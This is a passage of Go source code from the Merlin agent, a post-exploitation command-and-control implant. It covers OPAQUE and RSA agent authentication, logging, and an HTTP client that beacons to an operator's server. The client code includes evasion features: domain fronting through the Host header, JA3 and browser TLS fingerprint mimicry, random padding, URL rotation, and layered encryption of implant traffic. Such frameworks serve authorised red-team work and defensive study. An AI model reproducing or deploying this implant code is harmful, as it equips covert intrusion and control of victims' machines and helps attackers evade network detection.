Type: opaque.RegComplete,
Payload: userRegCompleteBytes,
}
return regComplete, nil
}
// UserAuthenticateInit is used to authenticate an agent leveraging the OPAQUE Password Authenticated Key Exchange (PAKE) protocol
func UserAuthenticateInit(AgentID uuid.UUID, user *User) (opaque.Opaque, error) {
cli.Message(cli.DEBUG, "Entering into opaque.UserAuthenticateInit...")
agentIDBytes, err := AgentID.MarshalBinary()
if err != nil {
return opaque.Opaque{}, fmt.Errorf("there was an error marshalling the AgentID to bytes: %s", err)
}
// 1 - Create a NewUserAuth with an embedded key exchange
user.Kex = gopaque.NewKeyExchangeSigma(gopaque.CryptoDefault)
user.auth = gopaque.NewUserAuth(gopaque.CryptoDefault, agentIDBytes, user.Kex)
// 2 - Call Init with the password and send the resulting UserAuthInit to the server
userAuthInit, err := user.auth.Init(user.pwdU)
if err != nil {
return opaque.Opaque{}, fmt.Errorf("there was an error creating the OPAQUE user authentication initialization message:\r\n%s", err.Error())
}
userAuthInitBytes, errUserAuthInitBytes := userAuthInit.ToBytes()
if errUserAuthInitBytes != nil {
return opaque.Opaque{}, fmt.Errorf("there was an error marshalling the OPAQUE user authentication initialization message to bytes:\r\n%s", errUserAuthInitBytes.Error())
}
// message to be sent to the server
authInit := opaque.Opaque{
Type: opaque.AuthInit,
Payload: userAuthInitBytes,
}
return authInit, nil
}
// UserAuthenticateComplete consumes the Server's authentication message and finishes the user authentication and key exchange
func UserAuthenticateComplete(authInitResp opaque.Opaque, user *User) (opaque.Opaque, error) {
cli.Message(cli.DEBUG, "Entering into opaque.UserAuthenticateComplete...")
if authInitResp.Type != opaque.AuthInit {
return opaque.Opaque{}, fmt.Errorf("expected OPAQUE message type: %d, received: %d", opaque.AuthInit, authInitResp.Type)
}
// 3 - Receive the server's ServerAuthComplete
var serverComplete gopaque.ServerAuthComplete
errServerComplete := serverComplete.FromBytes(gopaque.CryptoDefault, authInitResp.Payload)
if errServerComplete != nil {
return opaque.Opaque{}, fmt.Errorf("there was an error unmarshalling the OPAQUE server complete message from bytes:\r\n%s", errServerComplete.Error())
}
// 4 - Call Complete with the server's ServerAuthComplete. The resulting UserAuthFinish has user and server key
// information. This would be the last step if we were not using an embedded key exchange. Since we are, take the
// resulting UserAuthComplete and send it to the server.
cli.Message(cli.NOTE, "Received OPAQUE server complete message")
cli.Message(cli.DEBUG, fmt.Sprintf("OPAQUE Beta: %x", serverComplete.Beta))
cli.Message(cli.DEBUG, fmt.Sprintf("OPAQUE V: %x", serverComplete.V))
cli.Message(cli.DEBUG, fmt.Sprintf("OPAQUE PubS: %x", serverComplete.ServerPublicKey))
cli.Message(cli.DEBUG, fmt.Sprintf("OPAQUE EnvU: %x", serverComplete.EnvU))
_, userAuthComplete, errUserAuth := user.auth.Complete(&serverComplete)
if errUserAuth != nil {
return opaque.Opaque{}, fmt.Errorf("there was an error completing OPAQUE authentication:\r\n%s", errUserAuth)
}
userAuthCompleteBytes, errUserAuthCompleteBytes := userAuthComplete.ToBytes()
if errUserAuthCompleteBytes != nil {
return opaque.Opaque{}, fmt.Errorf("there was an error marshalling the OPAQUE user authentication complete message to bytes:\r\n%s", errUserAuthCompleteBytes.Error())
}
authComplete := opaque.Opaque{
Type: opaque.AuthComplete,
Payload: userAuthCompleteBytes,
}
return authComplete, nil
}
================================================
FILE: authenticators/rsa/rsa.go
================================================
/*
Merlin is a post-exploitation command and control framework.
This file is part of Merlin.
Copyright (C) 2024 Russel Van Tuyl
Merlin is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
any later version.
Merlin is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with Merlin. If not, see .
*/
// Package rsa is an authenticator for Agent communications with the server using RSA key exchange
// Primarily used with Mythic's HTTP profile
package rsa
import (
// Standard
"crypto/rand"
"crypto/rsa"
"crypto/sha1" // #nosec G505
"crypto/x509"
"encoding/base64"
"fmt"
// 3rd Party
"github.com/google/uuid"
// Merlin Message
messages "github.com/Ne0nd0g/merlin-message"
rsa2 "github.com/Ne0nd0g/merlin-message/rsa"
// Internal
"github.com/Ne0nd0g/merlin-agent/v2/core"
)
// Authenticator is a structure used for OPAQUE authentication
type Authenticator struct {
agent uuid.UUID // agent is the Agent's unique ID
authenticated bool // authenticated is a boolean value that determines if the Agent is authenticated
key rsa.PrivateKey // key is the Agent's RSA private key
secret []byte // The encryption key derived during the Agent authentication process
session string // The session ID used for the current authentication process
}
// New returns an RSA Authenticator structure used for Agent authentication
func New(id uuid.UUID, key rsa.PrivateKey) *Authenticator {
return &Authenticator{
agent: id,
key: key,
session: core.RandStringBytesMaskImprSrc(20),
}
}
// Authenticate performs the necessary steps to authenticate the agent, returning one or more Base messages needed
// to complete authentication. Function must take in a Base message for when the authentication process takes more
// than one step.
func (a *Authenticator) Authenticate(msg messages.Base) (messages.Base, bool, error) {
if msg.Type == messages.KEYEXCHANGE {
p := msg.Payload.(rsa2.Response)
if p.SessionID != a.session {
return messages.Base{}, false, fmt.Errorf("invalid RSA session ID '%s', expecting '%s'", p.SessionID, a.session)
}
// Base64 decode the session key
key, err := base64.StdEncoding.DecodeString(p.SessionKey)
if err != nil {
err = fmt.Errorf("there was an error Base64 decoding the RSA session key:\n%s", err)
return messages.Base{}, false, err
}
// Decrypt with an RSA private key and update the authenticator's secret key to use this session key
hash := sha1.New() // #nosec G401
a.secret, err = rsa.DecryptOAEP(hash, rand.Reader, &a.key, key, nil)
if err != nil {
err = fmt.Errorf("there was an error decrypting the returned RSA session key:\n%s", err)
return messages.Base{}, false, err
}
a.authenticated = true
// Mythic returns a new UUID for authenticated Agents
m := messages.Base{
ID: uuid.MustParse(p.ID),
}
return m, a.authenticated, nil
}
// RSA Key Exchange
rsaRequest := rsa2.Request{
Action: "staging_rsa", // Specific to Mythic
PubKey: base64.StdEncoding.EncodeToString(x509.MarshalPKCS1PublicKey(&a.key.PublicKey)),
SessionID: a.session,
}
// Merlin Base message
base := messages.Base{
ID: a.agent,
Type: messages.KEYEXCHANGE,
Payload: rsaRequest,
}
return base, a.authenticated, nil
}
// Secret returns encryption keys derived during the Agent authentication process (if applicable)
func (a *Authenticator) Secret() ([]byte, error) {
if !a.authenticated {
return nil, fmt.Errorf("agent is not authenticated")
}
return a.secret, nil
}
// String returns a string representation of the Authenticator's type
func (a *Authenticator) String() string {
return "RSA"
}
================================================
FILE: cli/cli.go
================================================
/*
Merlin is a post-exploitation command and control framework.
This file is part of Merlin.
Copyright (C) 2024 Russel Van Tuyl
Merlin is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
any later version.
Merlin is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with Merlin. If not, see .
*/
package cli
import (
// 3rd Party
"github.com/fatih/color"
// Internal
"github.com/Ne0nd0g/merlin-agent/v2/core"
)
const (
// INFO is used to print informational messages to STDOUT with "[i]"
INFO = 1
// NOTE is used to print verbose or non-sensitive messages to STDOUT with "[-]"
NOTE = 2
// WARN is used to print error messages or other failures to STDOUT with "[!]"
WARN = 3
// DEBUG is used to print debugging messages to STDOUT with "[DEBUG]"
DEBUG = 4
// SUCCESS is used to print successful or important messages to STDOUT with "[+]"
SUCCESS = 5
)
// Message is used to print text to Standard Out
func Message(level int, message string) {
if core.Verbose == false && core.Debug == false {
return
}
switch level {
case INFO:
if core.Verbose {
core.Mutex.Lock()
color.Cyan("[i]" + message)
core.Mutex.Unlock()
}
case NOTE:
if core.Verbose {
core.Mutex.Lock()
color.Yellow("[-]" + message)
core.Mutex.Unlock()
}
case WARN:
if core.Verbose {
core.Mutex.Lock()
color.Red("[!]" + message)
core.Mutex.Unlock()
}
case DEBUG:
if core.Debug {
core.Mutex.Lock()
color.Red("[DEBUG]" + message)
core.Mutex.Unlock()
}
case SUCCESS:
if core.Verbose {
core.Mutex.Lock()
color.Green("[+]" + message)
core.Mutex.Unlock()
}
default:
if core.Verbose {
core.Mutex.Lock()
color.Red("[_-_]Invalid message level: " + message)
core.Mutex.Unlock()
}
}
}
================================================
FILE: clients/clients.go
================================================
/*
Merlin is a post-exploitation command and control framework.
This file is part of Merlin.
Copyright (C) 2024 Russel Van Tuyl
Merlin is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
any later version.
Merlin is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with Merlin. If not, see .
*/
// Package clients holds the interface for network communications
package clients
import (
// Merlin
"github.com/Ne0nd0g/merlin-message"
)
// Client is an interface definition a client must implement to interact with a remote server
type Client interface {
// Authenticate executes the configured authentication method sending the necessary messages to the server to
// complete authentication. Function takes in a Base message for when the server returns information to continue the
// process or needs to re-authenticate.
Authenticate(msg messages.Base) error
// Get retrieve's a client's configured option
Get(key string) string
// Initial contains all the steps the agent and/or the communication profile need to take to set up and initiate
// communication with server
Initial() error
// Listen is used by synchronous Agents to consistently listen for new incoming messages that aren't the result of a check in
Listen() ([]messages.Base, error)
// Send takes in a Base message, transforms it according to the configured encoders/encrypters, and sends the message
// at the infrastructure layer according to the client's protocol
Send(base messages.Base) ([]messages.Base, error)
// Set updates a client's configured options
Set(key string, value string) error
// Synchronous identifies if the client connection is synchronous or asynchronous, used to determine how and when messages
// can be sent/received.
Synchronous() bool
}
================================================
FILE: clients/http/http.go
================================================
//go:build http || http1 || http2 || http3 || winhttp || mythic || !(smb || tcp || udp)
/*
Merlin is a post-exploitation command and control framework.
This file is part of Merlin.
Copyright (C) 2024 Russel Van Tuyl
Merlin is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
any later version.
Merlin is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with Merlin. If not, see .
*/
// Package http implements the Client interface and contains the structures and functions to communicate to the Merlin
// server over the HTTP protocol
package http
import (
// Standard
"bytes"
"crypto/sha256"
"fmt"
"io"
"math/rand"
"net/http"
"net/url"
"strconv"
"strings"
"sync"
"time"
// 3rd Party
"github.com/go-jose/go-jose/v3"
"github.com/go-jose/go-jose/v3/jwt"
"github.com/google/uuid"
// Merlin Message
"github.com/Ne0nd0g/merlin-message"
// Internal
"github.com/Ne0nd0g/merlin-agent/v2/authenticators"
"github.com/Ne0nd0g/merlin-agent/v2/authenticators/none"
oAuth "github.com/Ne0nd0g/merlin-agent/v2/authenticators/opaque"
"github.com/Ne0nd0g/merlin-agent/v2/cli"
"github.com/Ne0nd0g/merlin-agent/v2/clients/memory"
"github.com/Ne0nd0g/merlin-agent/v2/core"
merlinHTTP "github.com/Ne0nd0g/merlin-agent/v2/http"
"github.com/Ne0nd0g/merlin-agent/v2/services/p2p"
transformer "github.com/Ne0nd0g/merlin-agent/v2/transformers"
"github.com/Ne0nd0g/merlin-agent/v2/transformers/encoders/base64"
"github.com/Ne0nd0g/merlin-agent/v2/transformers/encoders/gob"
"github.com/Ne0nd0g/merlin-agent/v2/transformers/encoders/hex"
"github.com/Ne0nd0g/merlin-agent/v2/transformers/encrypters/aes"
"github.com/Ne0nd0g/merlin-agent/v2/transformers/encrypters/jwe"
"github.com/Ne0nd0g/merlin-agent/v2/transformers/encrypters/rc4"
"github.com/Ne0nd0g/merlin-agent/v2/transformers/encrypters/xor"
)
// Client is a type of MerlinClient that is used to send and receive Merlin messages from the Merlin server
type Client struct {
Authenticator authenticators.Authenticator
authenticated bool // authenticated tracks if the Agent has successfully authenticated
Client merlinHTTP.Client // Client to send messages with
ClientType merlinHTTP.Type
Protocol string // Protocol contains the transportation protocol the agent is using (i.e., http2 or smb-reverse)
URL []string // A slice of URLs to send messages to (e.g., https://127.0.0.1:443/test.php)
Host string // HTTP Host header value
Proxy string // Proxy string
ProxyUser string // ProxyUser string
ProxyPass string // ProxyPass string
JWT string // JSON Web Token for authorization
Headers map[string]string // Additional HTTP headers to add to the request
secret []byte // The secret key used to encrypt communications
UserAgent string // HTTP User-Agent value
PaddingMax int // PaddingMax is the maximum size allowed for a randomly selected message padding length
Parrot string // Parrot is a feature of the github.com/refraction-networking/utls to mimic a specific browser
JA3 string // JA3 is a string that represents how the TLS client should be configured, if applicable
psk string // psk is the Pre-Shared Key secret the agent will use to start authentication
AgentID uuid.UUID // AgentID the Agent's unique identifier
currentURL int // the current URL the agent is communicating with
transformers []transformer.Transformer // Transformers an ordered list of transforms (encoding/encryption) to apply when constructing a message
insecureTLS bool // insecureTLS is a boolean that determines if the InsecureSkipVerify flag is set to true or false
sync.Mutex
}
// Config is a structure used to pass in all necessary information to instantiate a new Client
type Config struct {
AgentID uuid.UUID // AgentID the Agent's UUID
Protocol string // Protocol contains the transportation protocol the agent is using (i.e., http2 or smb-reverse)
Host string // Host is used with the HTTP Host header for Domain Fronting activities
Headers string // Headers is a new-line separated string of additional HTTP headers to add to client requests
URL []string // URL is the protocol, domain, and page that the agent will communicate with (e.g., https://google.com/test.aspx)
Proxy string // Proxy is the URL of the proxy that all traffic needs to go through, if applicable
ProxyUser string // ProxyUser is the username for the proxy, if applicable
ProxyPass string // ProxyPass is the password for the proxy, if applicable
UserAgent string // UserAgent is the HTTP User-Agent header string that Agent will use while sending traffic
Parrot string // Parrot is a feature of the github.com/refraction-networking/utls to mimic a specific browser
PSK string // PSK is the Pre-Shared Key secret the agent will use to start authentication
JA3 string // JA3 is a string that represents how the TLS client should be configured, if applicable
Padding string // Padding is the max amount of data that will be randomly selected and appended to every message
AuthPackage string // AuthPackage is the type of authentication the agent should use when communicating with the server
Opaque []byte // Opaque is the byte representation of the EnvU object used with the OPAQUE protocol (future use)
Transformers string // Transformers is an ordered comma seperated list of transforms (encoding/encryption) to apply when constructing a message
InsecureTLS bool // InsecureTLS is a boolean that determines if the InsecureSkipVerify flag is set to true or false
ClientType string // ClientType is the type of WINDOWS http client to use (e.g., WinINet, WinHTTP, etc.)
}
// New instantiates and returns a Client constructed from the passed in Config
func New(config Config) (*Client, error) {
cli.Message(cli.DEBUG, "Entering into clients.http.New()...")
cli.Message(cli.DEBUG, fmt.Sprintf("Config: %+v", config))
client := Client{
AgentID: config.AgentID,
URL: config.URL,
UserAgent: config.UserAgent,
Host: config.Host,
Protocol: config.Protocol,
Proxy: config.Proxy,
JA3: config.JA3,
Parrot: config.Parrot,
psk: config.PSK,
insecureTLS: config.InsecureTLS,
ProxyUser: config.ProxyUser,
ProxyPass: config.ProxyPass,
}
// Authenticator
switch strings.ToLower(config.AuthPackage) {
case "none":
client.Authenticator = none.New(config.AgentID)
case "opaque":
client.Authenticator = oAuth.New(config.AgentID)
default:
return nil, fmt.Errorf("an authenticator must be provided (e.g., 'none' or 'opaque'")
}
// Transformers
transforms := strings.Split(config.Transformers, ",")
for _, transform := range transforms {
var t transformer.Transformer
switch strings.ToLower(transform) {
case "aes":
t = aes.NewEncrypter()
case "base64-byte":
t = base64.NewEncoder(base64.BYTE)
case "base64-string":
t = base64.NewEncoder(base64.STRING)
case "gob-base":
t = gob.NewEncoder(gob.BASE)
case "gob-string":
t = gob.NewEncoder(gob.STRING)
case "hex-byte":
t = hex.NewEncoder(hex.BYTE)
case "hex-string":
t = hex.NewEncoder(hex.STRING)
case "jwe":
t = jwe.NewEncrypter()
case "rc4":
t = rc4.NewEncrypter()
case "xor":
t = xor.NewEncrypter()
default:
err := fmt.Errorf("clients/http.New(): unhandled transform type: %s", transform)
if err != nil {
return nil, err
}
}
client.transformers = append(client.transformers, t)
}
// Set secret for JWT and JWE encryption key from PSK
k := sha256.Sum256([]byte(client.psk))
client.secret = k[:]
cli.Message(cli.DEBUG, fmt.Sprintf("new client PSK: %s", client.psk))
cli.Message(cli.DEBUG, fmt.Sprintf("new client Secret: %x", client.secret))
//Convert Padding from string to an integer
var err error
if config.Padding != "" {
client.PaddingMax, err = strconv.Atoi(config.Padding)
if err != nil {
return &client, fmt.Errorf("there was an error converting the padding max to an integer:\r\n%s", err)
}
} else {
client.PaddingMax = 0
}
// Parse additional HTTP Headers
if config.Headers != "" {
client.Headers = make(map[string]string)
for _, header := range strings.Split(config.Headers, "\n") {
h := strings.Split(header, ":")
if len(h) < 2 {
cli.Message(cli.DEBUG, fmt.Sprintf("unable to parse HTTP header: '%s'", header))
continue
}
// Remove leading or trailing spaces
headerKey := strings.TrimSuffix(strings.TrimPrefix(h[0], " "), " ")
headerValue := strings.TrimSuffix(strings.TrimPrefix(h[1], " "), " ")
cli.Message(
cli.DEBUG,
fmt.Sprintf("HTTP Header (%d): %s, Value (%d): %s\n",
len(headerKey),
headerKey,
len(headerValue),
headerValue,
),
)
client.Headers[headerKey] = headerValue
}
}
// Determine the HTTP client type
if client.Protocol == "http" || client.Protocol == "https" {
if config.ClientType == strings.ToLower("winhttp") {
client.ClientType = merlinHTTP.WINHTTP
} else if config.ClientType == strings.ToLower("wininet") {
client.ClientType = merlinHTTP.WININET
} else {
client.ClientType = merlinHTTP.HTTP
}
}
if client.Protocol == "h2" || client.Protocol == "h2c" {
client.ClientType = merlinHTTP.HTTP2
}
if client.Protocol == "http3" {
client.ClientType = merlinHTTP.HTTP3
}
// If JA3 or Parrot was set, override the client type forcing HTTP/1.1 using the uTLS client
if client.JA3 != "" {
client.ClientType = merlinHTTP.JA3
} else if client.Parrot != "" {
client.ClientType = merlinHTTP.PARROT
}
// Build HTTP client config
httpConfig := merlinHTTP.Config{
ClientType: client.ClientType,
Insecure: client.insecureTLS,
JA3: client.JA3,
Parrot: client.Parrot,
Protocol: client.Protocol,
ProxyURL: client.Proxy,
ProxyUser: client.ProxyUser,
ProxyPass: client.ProxyPass,
}
// Get the HTTP client
client.Client, err = merlinHTTP.NewHTTPClient(httpConfig)
if err != nil {
return &client, err
}
cli.Message(cli.INFO, "Client information:")
cli.Message(cli.INFO, fmt.Sprintf("\tProtocol: %s", client.Protocol))
cli.Message(cli.INFO, fmt.Sprintf("\tHTTP Client Type: %s", client.ClientType))
cli.Message(cli.INFO, fmt.Sprintf("\tAuthenticator: %s", client.Authenticator))
cli.Message(cli.INFO, fmt.Sprintf("\tTransforms: %+v", client.transformers))
cli.Message(cli.INFO, fmt.Sprintf("\tURL: %v", client.URL))
cli.Message(cli.INFO, fmt.Sprintf("\tUser-Agent: %s", client.UserAgent))
cli.Message(cli.INFO, fmt.Sprintf("\tHTTP Host Header: %s", client.Host))
cli.Message(cli.INFO, fmt.Sprintf("\tHTTP Headers: %s", client.Headers))
cli.Message(cli.INFO, fmt.Sprintf("\tProxy: %s", client.Proxy))
cli.Message(cli.INFO, fmt.Sprintf("\tPayload Padding Max: %d", client.PaddingMax))
cli.Message(cli.INFO, fmt.Sprintf("\tJA3 String: %s", client.JA3))
cli.Message(cli.INFO, fmt.Sprintf("\tParrot String: %s", client.Parrot))
// Add the client to the repository
memory.NewRepository().Add(&client)
return &client, nil
}
// getJWT is used to generate unauthenticated JWTs before the Agent successfully authenticates to the server
func (client *Client) getJWT() (string, error) {
cli.Message(cli.DEBUG, "Entering into clients.http.getJWT()...")
// Agent generated JWT will always use the PSK
// Server later signs and returns JWTs
key := sha256.Sum256([]byte(client.psk))
// Create encrypter
encrypter, encErr := jose.NewEncrypter(jose.A256GCM,
jose.Recipient{
Algorithm: jose.DIRECT, // Doesn't create a per-message key
Key: key[:]},
(&jose.EncrypterOptions{}).WithType("JWT").WithContentType("JWT"))
if encErr != nil {
return "", fmt.Errorf("there was an error creating the JWT encryptor:\r\n%s", encErr.Error())
}
// Create signer
signer, errSigner := jose.NewSigner(jose.SigningKey{
Algorithm: jose.HS256,
Key: key[:]},
(&jose.SignerOptions{}).WithType("JWT"))
if errSigner != nil {
return "", fmt.Errorf("there was an error creating the JWT signer:\r\n%s", errSigner.Error())
}
// Build JWT claims
cl := jwt.Claims{
Expiry: jwt.NewNumericDate(time.Now().UTC().Add(time.Second * 10)),
IssuedAt: jwt.NewNumericDate(time.Now().UTC()),
ID: client.AgentID.String(),
}
agentJWT, err := jwt.SignedAndEncrypted(signer, encrypter).Claims(cl).CompactSerialize()
if err != nil {
return "", fmt.Errorf("there was an error serializing the JWT:\r\n%s", err)
}
// Parse it to check for errors
_, errParse := jwt.ParseSignedAndEncrypted(agentJWT)
if errParse != nil {
return "", fmt.Errorf("there was an error parsing the encrypted JWT:\r\n%s", errParse.Error())
}
return agentJWT, nil
}
// Listen waits for incoming data on an established connection, deconstructs the data into a Base messages, and returns them
func (client *Client) Listen() (returnMessages []messages.Base, err error) {
err = fmt.Errorf("clients/http.Listen(): the HTTP client does not support the Listen function")
return
}
func (client *Client) proxy() (err error) {
cli.Message(cli.DEBUG, fmt.Sprintf("clients/http.proxy(): Sending CONNECT request to proxy: %s", client.Proxy))
fmt.Printf("clients/http.proxy(): client.URL: %+v\n", client.URL[client.currentURL])
req, err := http.NewRequest("CONNECT", client.URL[client.currentURL], nil)
if err != nil {
err = fmt.Errorf("there was an error building the HTTP CONNECT request: %s", err)
return
}
var resp *http.Response
resp, err = client.Client.Do(req)
if err != nil {
err = fmt.Errorf("there was an error sending the HTTP CONNECT request: %s", err)
return
}
cli.Message(cli.DEBUG, fmt.Sprintf("clients/http.proxy(): HTTP CONNECT response: %+v", resp))
return
}
// Send takes in a Merlin message structure, performs any encoding or encryption, and sends it to the server.
// The function also decodes and decrypts response messages and returns a Merlin message structure.
// This is where the client's logic is for communicating with the server.
func (client *Client) Send(m messages.Base) (returnMessages []messages.Base, err error) {
cli.Message(cli.DEBUG, fmt.Sprintf("clients/http.Send(): Entering into function with message: %+v", m))
cli.Message(cli.NOTE, fmt.Sprintf("Sending %s message to %s", m.Type, client.URL[client.currentURL]))
// Set the message padding
if client.PaddingMax > 0 {
// #nosec G404 -- Random number does not impact security
m.Padding = core.RandStringBytesMaskImprSrc(rand.Intn(client.PaddingMax))
}
// Construct the message running it through all the configured transforms
data, err := client.Construct(m)
if err != nil {
err = fmt.Errorf("clients/http.Send(): there was an error constructing the message: %s", err)
return
}
// Build the POST request
req, reqErr := http.NewRequest("POST", client.URL[client.currentURL], bytes.NewReader(data))
if reqErr != nil {
err = fmt.Errorf("there was an error building the HTTP request:\r\n%s", reqErr.Error())
return
}
if req != nil {
req.Header.Set("User-Agent", client.UserAgent)
req.Header.Set("Content-Type", "application/octet-stream; charset=utf-8")
req.Header.Set("Authorization", fmt.Sprintf("Bearer %s", client.JWT))
if client.Host != "" {
req.Host = client.Host
}
}
for header, value := range client.Headers {
req.Header.Set(header, value)
}
// Send the request
cli.Message(cli.DEBUG, fmt.Sprintf("Sending POST request size: %d to: %s", req.ContentLength, client.URL[client.currentURL]))
cli.Message(cli.DEBUG, fmt.Sprintf("HTTP Request:\r\n%+v", req))
resp, err := client.Client.Do(req)
// Must rotate URL before error check to keep the URL from getting stuck on the same server
if client.Authenticator.String() == "OPAQUE" && len(client.secret) != 64 {
// Don't rotate URL until OPAQUE registration/authentication is complete
// AES PSK is 32-bytes but OPAQUE PSK is 64-bytes
// Don't do anything
} else if len(client.URL) > 1 {
// Randomly rotate URL for the NEXT request
client.currentURL = rand.Intn(len(client.URL)) // #nosec G404 random number is not used for secrets
// Sequentially rotate URL for the NEXT request
//if client.currentURL < (len(client.URL) - 1) {
// client.currentURL++
//}
cli.Message(cli.DEBUG, fmt.Sprintf("clients/http.Send(): Rotating URL to: %s", client.URL[client.currentURL]))
}
if err != nil {
// Handle HTTP3 Errors
if client.Protocol == "http3" {
e := ""
n := false
// Application error 0x0 is typically the result of the server sending a CONNECTION_CLOSE frame
if strings.Contains(err.Error(), "Application error 0x0") {
n = true
e = "Building new HTTP/3 client because received QUIC CONNECTION_CLOSE frame with NO_ERROR transport error code"
}
// Handshake timeout happens when a new client was not able to reach the server and set up a crypto handshake for the first time (no listener or no access)
if strings.Contains(err.Error(), "NO_ERROR: Handshake did not complete in time") {
n = true
e = "Building new HTTP/3 client because QUIC HandshakeTimeout reached"
}
// No recent network activity happens when a PING timeout occurs.
// KeepAlive setting can be used to prevent MaxIdleTimeout.
// When the client has previously established a crypto handshake, but does not hear back from its PING frame,
// the server within the client's MaxIdleTimeout.
// Typically, it happens when the Merlin Server application is killed/quit without sending a
// CONNECTION_CLOSE frame from stopping the listener.
if strings.Contains(err.Error(), "NO_ERROR: No recent network activity") {
n = true
e = "Building new HTTP/3 client because QUIC MaxIdleTimeout reached"
}
cli.Message(cli.DEBUG, fmt.Sprintf("HTTP/3 error: %s", err.Error()))
if n {
cli.Message(cli.NOTE, e)
var errClient error
// Build HTTP client config
httpConfig := merlinHTTP.Config{
ClientType: client.ClientType,
Insecure: client.insecureTLS,
JA3: client.JA3,
Parrot: client.Parrot,
Protocol: client.Protocol,
ProxyURL: client.Proxy,
ProxyUser: client.ProxyUser,
ProxyPass: client.ProxyPass,
}
client.Client, errClient = merlinHTTP.NewHTTPClient(httpConfig)
if errClient != nil {
cli.Message(cli.WARN, fmt.Sprintf("there was an error getting a new HTTP/3 client: %s", errClient.Error()))
}
}
}
err = fmt.Errorf("there was an error with the http client while performing a POST:\r\n%s", err.Error())
return
}
cli.Message(cli.DEBUG, fmt.Sprintf("HTTP Response:\r\n%+v", resp))
switch resp.StatusCode {
case 200:
break
case 401:
cli.Message(cli.NOTE, "Server returned a 401, generating JWT with PSK and trying again...")
client.JWT, err = client.getJWT()
if err != nil {
cli.Message(cli.WARN, fmt.Sprintf("clients/http.Send(): there was an error generating a self-signed JWT: %s", err))
}
return
case 407:
cli.Message(cli.NOTE, "Server returned a 407 - Proxy Authentication Required, trying again...")
cli.Message(cli.DEBUG, fmt.Sprintf("Proxy-Authenticate header: %s", resp.Header.Get("Proxy-Authenticate")))
return
default:
err = fmt.Errorf("there was an error communicating with the server:\r\n%d", resp.StatusCode)
return
}
contentType := resp.Header.Get("Content-Type")
if contentType == "" {
err = fmt.Errorf("the response did not contain a Content-Type header")
return
}
// Check to make sure the response contains the application/octet-stream Content-Type header
isOctet := false
for _, v := range strings.Split(contentType, ",") {
if strings.ToLower(v) == "application/octet-stream" {
isOctet = true
}
}
if !isOctet {
err = fmt.Errorf("the response message did not contain the application/octet-stream Content-Type header")
return
}
// Check to make sure message response contained data
if resp.ContentLength == 0 {
err = fmt.Errorf("the response message did not contain any data")
return
}
data, err = io.ReadAll(resp.Body)
if err != nil {
err = fmt.Errorf("clients/http.Send(): there was an error reading the response body to bytes: %s", err)
return
}
var respMessage messages.Base
respMessage, err = client.Deconstruct(data)
if err != nil {
err = fmt.Errorf("clients/http.Send(): there was an error deconstructing the HTTP response data: %s", err)
return
}
// Update the Agent's JWT if the server returned one in the response message
if respMessage.Token != "" {
client.JWT = respMessage.Token
}
returnMessages = append(returnMessages, respMessage)
return
}
// Set is a generic function used to modify a Client's field values
func (client *Client) Set(key string, value string) (err error) {
cli.Message(cli.DEBUG, fmt.Sprintf("clients/http.Set(): entering into function with key: %s, value: %s", key, value))
defer cli.Message(cli.DEBUG, fmt.Sprintf("clients/http.Set(): exiting function with err: %v", err))
client.Lock()
defer client.Unlock()
switch strings.ToLower(key) {
case "addr":
// Parse the string for a comma seperated list of URLs
urls := strings.Split(strings.ReplaceAll(value, " ", ""), ",")
// Validate each URL
for _, u := range urls {
_, err = url.Parse(u)
if err != nil {
err = fmt.Errorf("clients/http.Set(): there was an error parsing the URL %s: %s", u, err)
return
}
}
client.URL = urls
// Build HTTP client config
httpConfig := merlinHTTP.Config{
ClientType: client.ClientType,
Insecure: client.insecureTLS,
JA3: client.JA3,
Parrot: client.Parrot,
Protocol: client.Protocol,
ProxyURL: client.Proxy,
ProxyUser: client.ProxyUser,
ProxyPass: client.ProxyPass,
}
client.Client, err = merlinHTTP.NewHTTPClient(httpConfig)
case "ja3":
ja3String := strings.Trim(value, "\"'")
if ja3String != "" {
cli.Message(cli.NOTE, fmt.Sprintf("Set agent JA3 signature to:%s", ja3String))
} else if ja3String == "" {
cli.Message(cli.NOTE, fmt.Sprintf("Setting agent client back to default using %s protocol", client.Protocol))
}
client.JA3 = ja3String
// Build HTTP client config
httpConfig := merlinHTTP.Config{
ClientType: client.ClientType,
Insecure: client.insecureTLS,
JA3: client.JA3,
Parrot: client.Parrot,
Protocol: client.Protocol,
ProxyURL: client.Proxy,
ProxyUser: client.ProxyUser,
ProxyPass: client.ProxyPass,
}
client.Client, err = merlinHTTP.NewHTTPClient(httpConfig)
case "jwt":
// TODO Parse the JWT to make sure it is valid first
client.JWT = value
case "parrot":
parrot := strings.Trim(value, "\"'")
if parrot != "" {
cli.Message(cli.NOTE, fmt.Sprintf("Set agent HTTP transport parrot to:%s", parrot))
} else if parrot == "" {
cli.Message(cli.NOTE, fmt.Sprintf("Setting agent client back to default using %s protocol", client.Protocol))
}
client.Parrot = parrot
// Build HTTP client config
httpConfig := merlinHTTP.Config{
ClientType: client.ClientType,
Insecure: client.insecureTLS,
JA3: client.JA3,
Parrot: client.Parrot,
Protocol: client.Protocol,
ProxyURL: client.Proxy,
ProxyUser: client.ProxyUser,
ProxyPass: client.ProxyPass,
}
client.Client, err = merlinHTTP.NewHTTPClient(httpConfig)
case "paddingmax":
client.PaddingMax, err = strconv.Atoi(value)
case "secret":
client.secret = []byte(value)
default:
err = fmt.Errorf("unknown http client setting: %s", key)
}
